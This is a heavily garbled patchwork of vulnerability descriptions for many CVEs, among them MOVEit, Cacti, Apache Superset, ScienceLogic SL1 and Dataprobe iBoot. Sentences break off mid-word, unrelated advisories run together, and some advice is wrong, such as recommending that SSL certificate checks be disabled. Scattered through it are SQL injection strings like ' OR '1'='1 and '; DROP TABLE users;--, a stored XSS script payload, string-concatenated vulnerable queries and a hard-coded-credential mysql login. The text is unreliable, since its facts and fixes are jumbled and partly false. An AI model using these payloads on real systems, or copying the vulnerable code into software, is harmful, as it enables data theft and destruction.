2023.0.6 (15.0.6), allowing a MOVEit system administrator account to potentially gain unauthorized access to the database.

Vantage of the SQL injection vulnerability.

<https://community.progress.com/s/article/MOVEit-Transfer-Service-Pack-September-2023> and [<https://www.progress.com/Products/Products-Database>]. The attacker would insert or 'inject' malicious SQL code into an input field in the web interface 2023.0.6 (15.0.6). Applying these updates will address the SQL injection issue and close the vulnerability. A SQL query via the input data from the client to the application. When exploited, this vulnerability could affect the database. It can lead to unauthorized viewing of data, data manipulation, and other malicious activities.

database administration operations, and potentially executing operating system commands, dependir

multiple-vulnerabilities-fujitsu-arconte-aurea

example: String query = "SELECT * FROM users WHERE username = '" + userInput + "' AND password = ' ipulate search boxes, login forms or any other input fields that are processed by the application's back ion tokens and overwrite arbitrary files within the app's container.

ternal database can be exposed to local users. This means that both remote attackers and local users \ nd extracting sensitive information such as session tokens, which might allow attackers to impersonat packages/flutter_downloader/changelog may provide updated information on version updates or pat to-extract-session-tokens-and-overwrite-user-data. This resource may offer a detailed exploitation sce erable input vector. If the application is configured to allow file sharing with UIFileSharingEnabled and

:configuration file instead of an environment variable, the web_root set to the current working director a parent of the SQLPage configuration directory, and avoid exposing their database publicly.

sion: <https://github.com/lovasoa/SQLpage/issues/89>- Release fixing the vulnerability: <https://github.co>ection string. With the web_root set as the current working directory and the database also exposed pi \ d exposing their SQLpage instance and their database publicly, use environment variables to define ser

r to inject arbitrary SQL commands, potentially leading to unauthorized access to sensitive information

e attacker to read, modify, or delete sensitive data from the database, leading to information disclosu ml

e for FAQ search functionality\$query = 'SELECT * FROM faq WHERE question LIKE "%'. \$_GET['search'] .'; ut, the attacker sends this URL to the WMPro portal. When the server processes the URL, the SQL com ; to the device to reach the database using shell commands.

through shell commands. The exploitation relies on the insider knowledge or weakness that allows th er malicious activities on the network.

to 'mysql -u root -phardcodedpassword' to access the FortiTester's database using the hard-coded cre

released to address this vulnerability.

o use memory that has been previously freed, potentially leading to an application crash. The issue ca

merge are vulnerable to the flaw described in CVE-2023-4813.

security mailing list. Here are a few reference URLs: <http://www.openwall.com/lists/oss-security/2023> se score might mean it has not yet been calculated or published at the time of the provided data.

it triggers the vulnerability. This might involve crafting a malicious DNS response that, when processec his could potentially lead to code execution, although this would generally be difficult to achieve. It's a to perform various malicious database operations such as reading sensitive data, modifying data via Ir

ality, and availability of data. In the case of BlackBerry AtHoc version 7.15, such a vulnerability could lead to a detailed security bulletin or advisory from BlackBerry with more details on the vulnerability and guidance on inserting, updating, or deleting records, performing administrative tasks within the database, accessing the lack of proper input validation in an SQL query interface within the Operator Audit Trail. By embedding a payload with sensitive information about the server itself, which could potentially allow an attacker to directly access the database, bypassing standard security measures.

vulnerability.

56.pdf

base. This could include information such as server configurations, network details, or credentials.

access to the database, and potentially extracting, modifying, or deleting sensitive data. The attacker

ture.

40d0afca510c49 and <https://source.android.com/security/bulletin/2023-09-01>.

the security bulletin is recommended. This typically involves updating the affected component with the correct SQL queries that manipulate the database in an unintended way. Through the injection of malicious code like this simplified pseudo-code example:

```
String selection = userInput + " = ?";  
String[] selectionArgs = ...;
```

an attacker can manipulate SQL queries, leading to unauthorized access or manipulation of the database.

example, the attacker could input something like ' OR '1'='1 which, if appended to a SQL query without proper escaping, could lead to database corruption, or a full system compromise if the SQL injection provides a foothold for further exploitation.

execute arbitrary content, like a web shell, directly into the SQL database with SYSTEM privileges. Alternatively, see the section on SQL injection for more details.

[Hotel Booking Engine - SQL Injection](#)

The attacker authenticates to the IRM Next Generation booking system and leverages the weakness in Redis to execute arbitrary content, like a web shell, directly into the SQL database with SYSTEM privileges. Alternatively, see the section on Redis for more details.

ion 7.0.13 or 7.2.1, in which the vulnerability is fixed. The fixes for this issue are included in the mentioned security bulletin and associated with this vulnerability.

nd. As the flaw in Redis prior to the security fix does not properly check if the user is allowed to access <https://redis.io/commit/9e505e6cd842338424e05883521ca1fb7d0f47f6>, the security advisory from Redis allows an attacker to execute arbitrary web scripts or HTML by injecting a malicious payload into the 'Database' field.

allation page. If successful, this could allow the attacker to execute arbitrary web scripts or HTML in the browser. This could result in compromised user accounts, confidential information disclosure, and loss of integrity. A blob/main/README.md and more information about CSZ CMS can be found on their website, <https://csz-cms.com/>

d during the installation of CSZ CMS. When an administrator or another user accesses the affected page, which allows an authenticated user to insert malicious JavaScript code into the database, which then gets executed by the `arts_admin.php` script.

rt. The malicious payload is then stored in the Cacti database and rendered in the administrative `repo` configuration. To configure a malicious device name through `http://<HOST>/cacti/host.php`. When a graph contains a device, users should manually filter HTML output to prevent the execution of potentially malicious JavaScript code (e.g., [GHSA-5hpr-4hhc-8q42](https://www.cvedetails.com/cve/GHSA-5hpr-4hhc-8q42)) and advisories listed on the Fedora Project mailing list. These reports detail how attackers can inject JavaScript code into a device name, which would then be stored in the Cacti database. When a super administrator configures a device name, it concerns an issue where attackers could incorrectly register SQLite database connections using alternative names.

severe vulnerabilities if Apache Superset is using a SQLite database for its metadata. These vulnerabilities can be exploited by creating a specially crafted Python object to the metadata database. If the server is using SQLite for metadata storage, attackers can exploit these vulnerabilities to gain unauthorized access to the database.

<https://issues.apache.org/jira/browse/SPS-175094> /Apache-Superset-2.0.0-Remote-Code-Execution.html', and a discussion thread on the Apache mailing list at <https://lists.apache.org/thread/tt6s6hm8nv6s11z8bfk3r3d9ov0og>

ite a specially crafted Python object to the metadata database.

<https://issues.apache.org/jira/browse/SPS-175094> /Apache-Superset-2.0.0-Remote-Code-Execution.html and an Apache mailing list thread at <https://lists.apache.org/thread/tt6s6hm8nv6s11z8bfk3r3d9ov0og>

allows an authenticated Gamma user to test database connections. This could potentially lead to unauthorized access to the database.

ed privileges.

bases connected to Apache Superset. This has the potential to compromise sensitive data or disrupt operations. A discussion thread on the Apache mailing list: <https://lists.apache.org/thread/tt6s6hm8nv6s11z8bfk3r3d9ov0og>

is Gamma users to use REST API endpoints for testing database connections. This could be illustrated by connecting to databases that are configured within the platform. This could allow the attacker to gather information about the database structure.

lking 2.1.0, and allows an authenticated user to perform queries on database tables that they should not be permitted to access. This could lead to unauthorized data access, data leaks, or manipulation of sensitive data.

tted to access. This could lead to unauthorized data access, data leaks, or manipulation of sensitive data.

g Jinja templated queries. By crafting a query that should normally be restricted based on their permissions and monitor for any unusual database query activities to mitigate the risk until a privilege to manipulate backup processes, potentially leading to the exposure of sensitive configuration backup path to the wwwroot folder. Once the backup is created, it could include sensitive configuration that lead to unauthorized database access, data theft, or further exploitation of system vulnerabilities. This highlights this vulnerability.

factory, a publicly accessible folder. They might employ a script or a feature in the application's interface that can be accessed via the following link: <https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities>

which allows an attacker to manipulate the SQL query logic, potentially leading to unauthorized access to sensitive data, corruption or deletion of data, or gaining control of the SCADA system later. It is essential to keep track of updates from official sources for the base score and other risk scores or fragments. For instance, entering a username such as 'admin' OR '1'='1' -- might trick the authentication. Prepared statements with parameterized queries should be employed to guard against SQL injection. DSA-23-243-01. Always refer to official and trusted sources for the latest updates and detailed guidance on how to prevent data loss, or alteration of database information. More dangerous scenarios could involve the shutdown of

the Cacti database, which will execute in the browser of any administrative user who views the page, suggesting that earlier versions may be affected.

through the `data_sources.php` page. When an administrative user previews or views the data source configuration, they can change the data source path and introduce the malicious script.

If this is not possible, users should manually escape HTML output to prevent the execution of potentially harmful code. This can be done by using HTML entities or by using a library like htmlspecialchars().

ed in the database and rendered directly in the browser, would execute a JavaScript alert, demonstrating a stored XSS vulnerability. For example, an attacker could create a script that sends the administrator an email with a malicious link. If an unauthenticated user views this poisoned data through `data_debug.php`, the malicious JavaScript is executed in their browser.

, users should implement measures to manually filter HTML output to prevent the execution of unauthorized code. DSA-23-243-01 and the Debian security advisory at 'https://www.debian.org/security/2023/dsa-555'. An attacker would insert a malicious JavaScript payload into a data source path configuration. Later, when an administrative user views the configuration, the payload is executed. This is a stored XSS vulnerability that affects certain versions of Cacti, allowing an authenticated user to insert malicious JavaScript code into Cacti's database which can then be executed by other users.

ve measure of the severity of the vulnerability.

tains the stored XSS payload, the malicious code executes in the victim's browser.

ith malicious JavaScript appended in the template path. This can lead to a stored XSS attack against users.

hey need to be authenticated and have the necessary permissions to edit or add a new data query term potentially malicious JavaScript.

A data-query in Cacti. When an administrative user views verbose logs or information related to this tether, when an administrator carrying out routine checks on host management requests a verbose data advisory (dsa-5550). These contain detailed information regarding the vulnerability, the affected ver

nticated user to inject malicious scripts into data stored in Cacti's database. When viewed by an admin broader privileges by running malicious JavaScript code in their browser when viewing poisoned data

to manually filter HTML output as a temporary solution.

The vulnerability can be exploited.

An administrative user views this device name on the 'data_sources.php' page, the script executes in the administ event URLs are included in the CVE details, such as the GitHub advisory 'GHSA-vqcc-5v63-g9q7' and th the device name to include a script tag with malicious JavaScript<script>alert('XSS attack!');//</script>// nticated user to insert malicious JavaScript code into the application's database, which can then be exe triggered.

ns, they can insert a JavaScript payload into the device name field through `http://<HOST>/cacti/host` ion > Sites/Devices/Data_permissions within the application.

o be vulnerable and should upgrade to mitigate the risk.

er HTML output to prevent potentially malicious scripts from executing.

These references contain details about the vulnerability, affected versions, and the steps taken to ac a malicious script into the Device name field. When an administrative user later accesses the reports I inject malicious JavaScript into the _cacti_database, which can be executed in the browsers of users w hen they submit a device name containing a JavaScript payload through the `http://<HOST>/cacti/hos as administrative actions within Cacti), and the spreading of the attack to other users who view the p

'hile this is a less ideal and more labor-intensive solution than upgrading, it may temporarily protect u ti/cacti/security/advisories/GHSA-rwhh-xxm6-vcrv- https://lists.fedoraproject.org/archives/list/packag generate all users in the database by creating a test script against the plugin's password recovery functio

onses from the server or the time it takes to process the requests, the attacker could infer which usern word-recovery-plugin.

ts.

gin's developers or refer to official sources for a possible security patch.

An authenticated remote attacker could potentially leverage this vulnerability to register or add devices thro jister or add devices suggests that it could be significant, as it could potentially allow unauthorized acc

osa-230403-mxsecurity-series-multiple-vulnerabilities

lead to unauthorized device management or data integrity issues within the MXsecurity system.

ecurity advisory pages provided by MXsecurity for updates or patches concerning this vulnerability.

tests could bypass authentication mechanisms and allow the attacker to directly add or register new d

ed personnel only, and regular monitoring for unauthorized activities should be implemented. Following a database via the Data Richiesta dal parameter, potentially leading to unauthorized access to the database for data theft, tampering, and the executing of unauthorized commands within a database.

additional testing.

[niCisRedTeam/Disclosure/blob/f7aaafa9fcd4efa30071c7f77d3e9e6b14e92302b/CVE%20PoC/CVE-2023-0518/woo-pdf-invoice-builder/trunk/woocommerce-pdf-invoice-ajax.php](https://github.com/CiSRedTeam/Disclosure/blob/f7aaafa9fcd4efa30071c7f77d3e9e6b14e92302b/CVE%20PoC/CVE-2023-0518/woo-pdf-invoice-builder/trunk/woocommerce-pdf-invoice-ajax.php)?contextall=1&old=29353718

Iterations within the database, depending on the database's structure and the user privileges of the API endpoint. An attacker could enter something like '1' OR '1'='1';-- which could cause the database to execute an unauthenticated query bypassing authentication mechanisms to gain unauthorized access, extracting sensitive data such as user credentials or personal data.

Code snippet from the plugin:

```
$pageId = $_GET['pageId']; // User-supplied parameter
// Vulnerable SQL query
$wpdb->query("SELECT * FROM wp_posts WHERE post_id = $pageId");
$wpdb->query("SELECT * FROM wp_posts WHERE post_id = $pageId OR 1=1");
```

This code constructs two SQL queries. The first is a standard SELECT statement using the user-supplied \$pageId parameter. The second query is a UNION query where the condition \$pageId = \$pageId is always true (due to the OR 1=1 part), effectively bypassing the WHERE clause and selecting all posts from the database. This is a classic SQL injection vulnerability.

1. Extract data, which could compromise the confidentiality of the data available, or apply any patches that address the vulnerability.

2. Modify or delete data, which could compromise the integrity of the data available, or apply any patches that address the vulnerability.

If a secure version is not yet available, it may be necessary to disable or uninstall the plugin until a fix is released.

The vulnerability entry on Wordfence's threat intelligence at '<https://www.wordfence.com/threat-intel/vulnerabilities/518/>' provides more details.

er. For instance, an attacker could append a SQL statement to retrieve all user email addresses and password hashes. The vulnerability entry on Wordfence's threat intelligence at '<https://www.wordfence.com/threat-intel/vulnerabilities/2922722/>' states: 'This vulnerability may persist and be used for API requests even after a user has explicitly logged out, until the session ID is deleted from the database. However, other nodes in the cluster will continue to use the session ID to perform operations. Nodes in a multi-node cluster setup need to be aware of this vulnerability and are advised to upgrade to a fixed version. It's highly recommended for users to upgrade to one of these versions to prevent this issue. At the time of this writing, the underlying issue is that if the user session becomes compromised, it can still be used for unauthorized access, add, modify, or delete information in the underlying database.'

This without proper sanitation, potentially giving the attacker unauthorized access to view, insert, update, and delete data, leading to data breaches, unauthorized changes to data, or denial of service conditions for legitimate users.

Support site at <https://www.ibm.com/support/pages/node/7028514>.

ook like altering a legitimate SQL query by appending additional commands or SQL syntax, such as 'OR s, execute administrative operations on the database, retrieve hidden data, modify database data, and

rafted query, potentially leading to the disclosure of a single attribute in a database connection string. t

ta is exposed.

[feature-service-security-2023-update-1-patch/](#)

' be able to retrieve a single attribute from a database connection string, which could potentially be us
This vulnerability could enable an attacker to impersonate an agent, thereby compromising the integri

he verifier list by a legitimate user, it could result in the false reporting of the status of monitored mac

.com/security/cve/CVE-2023-38201- Bugzilla Red Hat: https://bugzilla.redhat.com/show_bug.cgi?id=2
ssfully bypasses the challenge-response protocol. If this fake request is not detected and the bogus ag
/commit/9e5ac9f25cd400b16d5969f531cee28290543f2a. Additionally, the GitHub Security Advisory (C
commit/9e5ac9f25cd400b16d5969f531cee28290543f2a) may contain the actual changes made to fix t
Webiny Headless CMS and Webiny Form Builder, and the vulnerability stems from its use of the 'dange
r to remedy the security issue.

content is rendered by '@webiny/react-rich-text-renderer', the script is executed in the user's browser.
This vulnerability can be exploited by an actor who has content management privileges in the Webiny
Webiny website at '<https://webiny.com>' for more information about the platform and possibly this spe

such as '<script>alert('XSS');</script>' into the rich text editor. When the content is later rendered by '

without revealing their contents.

I the security advisory at <https://github.com/simonw/datasette/security/advisories/GHSA-7ch3-7pp7->
eparation for further attacks. However, the contents of those databases and tables would remain inac

here attackers could potentially deduce whether a particular email address was associated with an acc
bly depending on whether the email address is in the database, the attacker could use this informatio

ty/advisories/GHSA-9684-6j5x-ccx9.

verability, that user could be at a heightened risk of receiving targeted phishing emails or other forms
sword Recovery feature of the platform. Previously, before version 1.3.6, the form would disclose whe
ow the "Enter the code" form regardless of whether the entered email was tied to an existing account.
cker could enter various email addresses into the Password Recovery form and note which ones result

ty/advisories/GHSA-789j-chfj-58hr.

This access could persist until the user's session expired, and previously there were no mechanisms fc

okie session backend, the sessions are not invalidated and still require changing the secure key and res

- The mailing list thread on the Apache list: <https://lists.apache.org/thread/9rdmv8ln4y4ncbyrlmjsj90> an administrator due to suspicious activities or as a regular security measure, the attacker could contin an compromise the integrity and confidentiality of the data managed by the affected application.

pository/blob/master/PoCs/poc_geomatika_isigeoweb.md- <https://www.geomatika.fr/isigeo-web/> cker, and the impact of the exploit. Due to the nature of SQL Injection vulnerabilities, this type of issue input, these commands could be executed by the database engine, leading to unauthorized access to ield that is inadequately sanitized by the application. If this input is included in a SQL command executable feature of Geomatika IsiGeo Web 6.0.

cation attacks. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary SQL qu y due to the potential to compromise the integrity, confidentiality, and availability of data, it is likely tl

vulnerable input field that expects a user id, an attacker could supply input such as 'OR '1'='1' -- causin cial website (<https://www.luxsoft.eu/>), and LuxSoft's download page (<https://www.luxsoft.eu/?down> 15.2.3L for SQLite users. It is important to ensure that the application is running the patched version t , allowing malicious actors to replace any uploaded gem with a specific pattern in the platform, versio replacement of the legitimate gem in the gem storage, and an immediate CDN purge would ensure tha 2023-40165 has _not_ been exploited in the wild.

database. Contributor Maciej Mensfeld created a tool that automates this task, which users can run u these updates.

<https://github.com/rubygems/rubygems.org/commit/7e19c19247ddf5885a915710afc60ec6663d8502> and

ession Management Edition (Unified CM SME). The flaw allows an authenticated, remote attacker to c ments to the affected system. If successful, they could read or modify data in the underlying database ging SQL injection attacks.

veb interface, leading to unauthorized access or disclosure of sensitive information. They may alter or https://cisco.custhelp.com/app/answers/detail/a_id/56361/kw/cisco-sa-cucm-injection-g6Mbwh2.

nt interface, enabling multi-factor authentication for users, and monitoring for unusual database queri

itive information and carry out arbitrary database and management operations, compromising the se

<https://www.cisco.com/ciusa/security/advisory/Cisco-SA-2023-0008>.

figurations, or other critical data stored in the database of the MiVoice Office 400 SMB Controller. em is susceptible to SQL Injection, the attacker's query could bypass authentication mechanisms and n ed modification of data or system configurations, and potentially disruption of the organization's opera strom C/C++ code to define new User Defined Functions (UDFs). An attacker with filesystem access on : ns, the attacker could potentially read or corrupt sensitive data, disrupt database operations, or gain t ulnerabilities or obtaining compromised credentials. Once inside the system, the attacker could upload

SS) to provide a numerical representation of the severity of vulnerabilities. Users should check the latest security patches or updates provided by TigerGraph once they become available is essential. It's also recommended to review and fix any code found in different Java Server Pages (JSP) files that contained unsanitized parameters, leading to the potential for SQL injection attacks.

2023.1.6, 2022.1.19, 2021.1.30, or 2020.1.38 is recommended.

t, as a general security best practice. This recommendation is pertinent to CVE-2023-40311 as limiting

before being stored in the database. When these inputs are subsequently displayed in JSP or Angular MS/opennms) and specific pull requests that address the issue (<https://github.com/OpenNMS/opennms/pull/113>). This allows an attacker to embed credentials within the device for all interactions with the internal Postgres database, which can be embedded database credentials to access the internal Postgres database and perform unauthorized actions such as dropping tables. The process has not been completed yet or the information hasn't been updated.

[it-lurking-in-data-centers.html](#) which details the threat and its implications.

ed Dataprobe iBoot PDU. Using the hard-coded credentials, the attacker can connect to the internal PostgreSQL database. This flaw could allow a malicious agent with

research story by Trellix implies that it might have been identified through security research.

Is to manipulate the internal Postgres database. This could lead to data corruption, unauthorized data modification, or other serious issues. You should use standard SQL commands or database tools to interact with the database, such as `psql -h [device]`.

Perform actions with administrative rights.

nl

taprobe iBoot PDU device connects to this database, the attacker could use the admin privileges to shutdown the device's functionalities and access sensitive information without legitimate credentials, `r\owner@`, `@extschema@`, or `@extschema:...@` are used inside different types of quoting constructs. If :

PostgreSQL support security page. Links to these resources can be found in the references provided with the input to the placeholder to inject malicious SQL code. For instance, if the script has something like '\$B0' eruser if a vulnerable extension is present.

ting constructs improperly. They can then craft a malicious payload that, when substituted for these possibility existed from version 1.0.0 up to, but not including, version 1.3.3. It allowed an attacker with at lies within the OIDC implementation of the user_oidc plugin to impersonate the Nextcloud server when catch for this vulnerability.

SA-3f92-5c8p-f6gq, the pull request for the patch at https://github.com/nextcloud/user_oidc/pull/636, introduced a vulnerability where user input was being used directly in SQL queries without proper sanitization, allowing an attacker to interfere with the queries that an application makes to its database.

When this unsanitized input is processed, it could result in SQL code being executed against the database.

An attacker could craft SQL statements designed to perform unauthorized actions, such as 'UNION SELECT' to retrieve sensitive information, manipulating server data, or compromising the integrity and confidentiality of the data. This occurs because the application fails to properly sanitize user-controlled input before passing it directly to a SQL query, thereby allowing an attacker to interfere with the queries that an application makes to its database.

For example, if the 'message viewer iframe' feature takes a parameter from the user's input, such as 'msgID', without proper sanitization, it could lead to SQL injection vulnerabilities. It's also advisable to audit the application for additional SQL injection vulnerabilities and to implement appropriate security measures, depending on the permissions of the database user account utilized by the vulnerable application, which could allow an attacker to potentially manipulate database operations.

The 'message viewer print' feature, allowing an attacker to inject arbitrary SQL code into the backend database, is a dangerous practice. For instance, if a user inputs malicious SQL code like 'DELETE FROM users WHERE id = 1' into the 'user_input' parameter, the application would execute the command, potentially leading to the deletion of all user data.

Using prepared statements (prepared statements) in the application's code can prevent such vulnerabilities from being exploited. If user-controlled input is passed directly to a SQL query, it could potentially allow an attacker to inject arbitrary SQL code into the query.

If user input is not properly sanitized before being used in a SQL query, an attacker could input a malicious SQL statement that allows them to modify or delete records, or even issue administrator-level commands to the database server. An attacker could inject arbitrary SQL code into the query.

SQL injection flaws are generally considered high-risk due to the potential impact they can have on data confidentiality.

Attacks can target sensitive data such as personal information or proprietary business details; and potentially using the code: `query = "SELECT * FROM notes WHERE owner = " + unsafeInput + """; database.executeQuery(query)`

In this example, the application uses user-controlled input, which is then directly utilized in constructing a SQL query. Consequently, this flaw allows an attacker to inject arbitrary SQL code into the query.

A vulnerable SQL query: `query = "SELECT * FROM events WHERE reporter='{}'".format(user_input) # T1`

The SQL query used by the 'reporter events type' feature in ScienceLogic SL1. This input could include SC
use the application accepts user-controlled input without proper sanitation and incorporates it directly

ious input is not properly sanitized before being included in SQL commands, potentially allowing the a

g like this: ``python user_date_input = request.GET['date'] # This is the unsanitized user input sql_query``
hen craft a malicious payload, which might include SQL commands, and submit this as input to the vuln

er inputs that are directly utilized within SQL queries, which can lead to the execution of arbitrary SQL

base, modify database data, execute administrative operations on the database, recover the content of
ceLogic SL1, the unvalidated input gets included into a SQL query, which is then executed by the databa
e: application/x-www-form-urlencoded reportCriteria=validInput'; DROP TABLE users;--This example in

f arbitrary SQL that is then executed against the database.

'1 OR 1=1 --', in an attempt to manipulate the SQL query to return all records, bypass authentication, d

nd potentially could give the attacker a foothold for further attacks on the system or network.

istory reference for details on patch availability and remediation steps.

nsanitized user-controlled input and passing it directly to a SQL query, allowing an attacker to inject ar

data manipulation, and in some cases, can escalate to a full compromise of the system hosting the dat
nitized, would be included in a SQL query and executed. For example, an attacker could input somethi

erability, but in this case, it might be pending assessment or not have been calculated yet.

properly sanitized, thus allowing an attacker to inject arbitrary SQL code into a query, which is then ex

email' feature in ScienceLogic SL1. The unsanitized input allows the attacker to append additional SQL
ut, because it is unsanitized, would then be passed to the SQL server and executed as part of a SQL que
ecurity practices such as validating and sanitizing all user inputs, using prepared statements with parar

rocessing of user-controlled input, which is passed directly to a SQL query. This flaw allows an attacke
' FROM topology_data WHERE id = " + user_input results = database.execute(query)``In this example, t
base, these statements could be executed, potentially resulting in unauthorized data access, manipula

of the severity of vulnerabilities, but it seems that a score has not been assigned, or was not available a

led input in the 'vendor_country' parameter and directly passing it to a SQL query, which could allow a

not correctly sanitized, the injected SQL could be executed by the database, leading to potential data b

rint report' feature. Since this input is not properly sanitized, the malicious query could be executed by user-supplied input without proper sanitation, which can lead to the injection of arbitrary SQL command

parameter. This can lead to unauthorized viewing, modification or deletion of data, and potentially full d

er input is not properly sanitized, the injected SQL code could be executed by the application's database. An attacker could input something like: 'OH; DROP TABLE vendors; --'. The resulting query might be: 'SELE

can input or manipulate the 'vendor_state' parameter.

anitized before executing SQL queries, using prepared statements with parameterized queries, and implement dynamic app mib errors' feature of the ScienceLogic SL1, which allows unsanitized user-controlled

ogic SL1 application, leading to unauthorized access, data manipulation, or exfiltration of sensitive data. To ensure that user-controlled input is sanitized before being used in SQL queries to prevent any malicious details, including proof-of-concept code or technical insights into the vulnerability.

dynamic app mib errors' feature. The attacker then crafts a specially formulated input that includes SC idation or use of prepared statements in the application code could allow attackers to inject harmful S es user-controlled input without proper sanitation and passes it directly into a SQL query, allowing an

job name or ID. However, this value is not checked for malicious code. An example of the vulnerability i

s include unauthorized viewing of data, data corruption, or deletion. Attackers could also potentially e:

er input and directly passes it to a SQL query, which can lead to the execution of arbitrary SQL code agi

ility Scoring System (CVSS).

ure of the ScienceLogic SL1 platform, the unsanitized input would be embedded in a SQL query. If the a
_input = request.getParameter('userInput');String query = "SELECT * FROM schedules WHERE editor = '
action takes user-controlled input without proper sanitation and directly incorporates it into SQL querie

ke ``1'; DROP TABLE users;--` into a form field. If this input is concatenated directly into a SQL query lik luding unauthorized viewing or deletion of data, bypassing authentication mechanisms, modifying the impact assessment, and possibly mitigations or patches to address this vulnerability.

nitzed, user-controlled input and includes it directly into a SQL query, which can lead to the possibility

submit a string that includes SQL keywords and characters like ';', which the application directly incorporates into the query. This can lead to executing administrative operations on the database, and potentially accessing the underlying file system based on user input and directly using it in a SQL query, thereby allowing an attacker to inject arbitrary SQL statements.

leads to unauthorized access to the database, data leakage, data tampering, and potentially granting administrative privileges. For example, if a user enters ' or '1'='1 into a search field on a ScienceLogic SL1 without proper sanitization, the malicious SQL code is treated as part of the legitimate query.

user-controlled inputString query = "SELECT * FROM users WHERE username = '" + userInput + "' AND password = 'password'";

Validating and sanitizing all user inputs, implementing proper error handling, and conducting regular security audits are essential. For instance, if the application is run under the 'NT AUTHORITY\SYSTEM' account, which has elevated system privileges, a local attacker could potentially inject or execute commands with those same privileges, effectively gaining root access to the system.

Local privilege escalation is a common exploit. For example, if a user uploads a PDF file named 'vuln.pdf' to a specific location, such as `/var/www/html/vuln/vuln.pdf`, and the application does not properly validate file types or extensions, an attacker can upload a PDF file containing malicious code. This document is expected to contain in-depth information about the vulnerability.

Scoring is generally assigned once a thorough analysis has been completed. It's important to understand the nature of the vulnerability and take necessary precautions or apply mitigation strategies.

Arbitrary code execution is another potential risk. An attacker could inject arbitrary SQL queries on the server's database, leading to data leakage, modification, or deletion.

Severity is often determined by the potential impact of the vulnerability. For example, a critical vulnerability might allow an attacker to gain full control over the system, while a low-severity vulnerability might only allow access to certain data or functionality.

Severity is often determined by the Common Vulnerability Scoring System (CVSS).

Privileges within the application.

Attacking the application's database directly can lead to privilege escalation. For example, if an attacker can insert or modify data in a table that has higher privileges than the rest of the application, they can potentially gain access to sensitive information or execute arbitrary SQL code.

Attacking the application's database directly can lead to privilege escalation. For example, if an attacker can insert or modify data in a table that has higher privileges than the rest of the application, they can potentially gain access to sensitive information or execute arbitrary SQL code.

For example, if an attacker can insert or modify data in a table that has higher privileges than the rest of the application, they can potentially gain access to sensitive information or execute arbitrary SQL code.

he password hashes that are being queried and compared by the system. With the hashes, they could references would be the best course of action to understand the mitigations SAP has put in place for t`y queries against the back-end database through a Proxy.

cuments can be found at <https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7> less, data manipulation, disclosure of sensitive information, and potentially further attacks on the system sending crafted HTTP requests through a vulnerable proxy, possibly with SQL code embedded in parameter. It is recommended to implement robust authentication mechanisms, restrict proxy access, monitor network traffic, and disable SSL certificate checks. The `verify=False` parameter, which disables SSL certificate checks, makes the application vulnerable to man-in-the-middle attacks, where an attacker could intercept and potentially alter the communication between the client and the server. For example, if the code uses `verify=False` like this: `https://example.com:443`, the server's SSL certificate will be ignored, making it easier for an attacker to intercept the communication.

As a source. The attacker could either eavesdrop on the transmitted data or alter it before passing it along. This is a known issue in MindsDB. Here are the relevant URLs:- Commit with the fix: <https://github.com/mindsdb/mindsdb/pull/112>

of existing notes. This would effectively hide the original note, making it inaccessible and potentially allowing the user to create a new note that hides the content of the original note. The impact could range from presenting

onally, the impact can be limited by requiring that only trusted, logged-in users are able to create free notes. For example, if the note content, such as by altering links to point to malicious sites, compromising the integrity of the note in the database.

commit [1fe60c7e92e2f8d611664d2](https://github.com/HedgeDoc/HedgeDoc/commit/1fe60c7e92e2f8d611664d2)) and in the security advisory published by HedgeDoc (<https://github.com/HedgeDoc/HedgeDoc/security/advisories/GHSA-4q4r-5q8g-4q4r>)

the database. Metabase's validation API for connection strings, which can be called without validation, allowing users to add H2 databases entirely.

by specifying the `id` parameter, and `POST /api/setup/validate`.

ed through Metabase's API endpoint, the code could be executed by the H2 database engine, leading to arbitrary database modifications.

. This could allow an attacker with access to the database and a local or restricted network to read arbitrary files on the local file system. This could enable the attacker to read files that the service's system user could now be prevented, reducing the risk of arbitrary local file system access.

Injection-Cross-Site-Scripting.html- Full Disclosure mailing list at <http://seclists.org/fulldisclosure/2023>

files without any restrictions, potentially leading to arbitrary code execution or other types of attacks.

ent of the website, creation of phishing pages, or the complete compromise of the PrestaShop installation. Once uploaded, the attacker could navigate to the uploaded file via a web browser and execute the script, potentially leading to a full system compromise.

orized users receiving event updates on their subscription which they should not have access to accord

y advisory at <https://github.com/directus/directus/security/advisories/GHSA-gggm-66rh-pp98>.
d to other users.

This could potentially affect TDengine Databases that allow users to connect and execute arbitrary queries of TDengine that permitted user connections and the running of arbitrary queries, leading to potential security risks.

se. This could disrupt database operations, affecting the availability of data and services dependent on f-r2fm-27hf.

eration, which could potentially allow an attacker to extract files to unintended locations on the filesystems of industries for communication and management of voice and messaging functionalities.

SQL import file. An attacker can exploit this by inserting directory traversal characters (e.g., '..') into the file name, leading to data breach, system takeover, and further network compromise.

es concerning their products.

juences. When an unsuspecting Vocera administrator uses the Report Console's function to restore the database, the user can run arbitrary SQL queries against the database. This issue allows for unauthenticated execution of tasks and access to database functions.

of the database.

r clearing of crucial data, thereby posing risks to data integrity and availability.

us/en/about/governance/cyber-security/product-security/ and <https://www.stryker.com/us/en/about/governance/cyber-security/product-security/> and <https://www.stryker.com/us/en/about/governance/cyber-security/product-security/> and access database functions. This makes it possible for unauthorized users to perform actions such as drop or truncate database tables, insert or update data, or execute arbitrary SQL commands. For example, an attacker could use a 'stored procedure' to drop or truncate a database table, or use a 'union query' to extract sensitive data from the database. Another common vulnerability is 'SQL injection', where an attacker injects malicious SQL code into a database query to manipulate the results or extract sensitive data. This can be achieved by sending a specially crafted query string to the application, which is then passed directly to the database without proper validation. For example, an attacker could send a query like 'SELECT * FROM users WHERE username = 'admin' OR ''1'='1' to retrieve all user data from the 'users' table.

ability to execute arbitrary SQL commands against the database, the attacker could read, modify, delete, or delete, for further details. The URLs are as follows: '<https://www.stryker.com/us/en/about/governance/cybersecurity>'. Consult the vendor for the most up-to-date Common Vulnerability Scoring System (CVSS) score.

filename that includes traversal sequences (e.g., '..' characters) aiming to traverse out of the intended directory by an attacker to trigger code execution with higher privileges.

Potentially execute code with elevated privileges, leading to a privilege escalation scenario.

ailed security research blog post by Akamai at '<https://www.akamai.com/blog/security-research/expl>

database to insert or modify entries, executing a payload that allows them to gain higher-level privilege or ethical to provide such exploit code as it could aid in malicious activities.

allow a local, authorized attacker to execute arbitrary SQL commands against the application's back-end. However, in this case, the complexity and effort required for a successful exploit are significant, indic

to craft the required input that would enable them to successfully inject and execute arbitrary SQL commands to mitigate the risk of this SQL injection vulnerability.

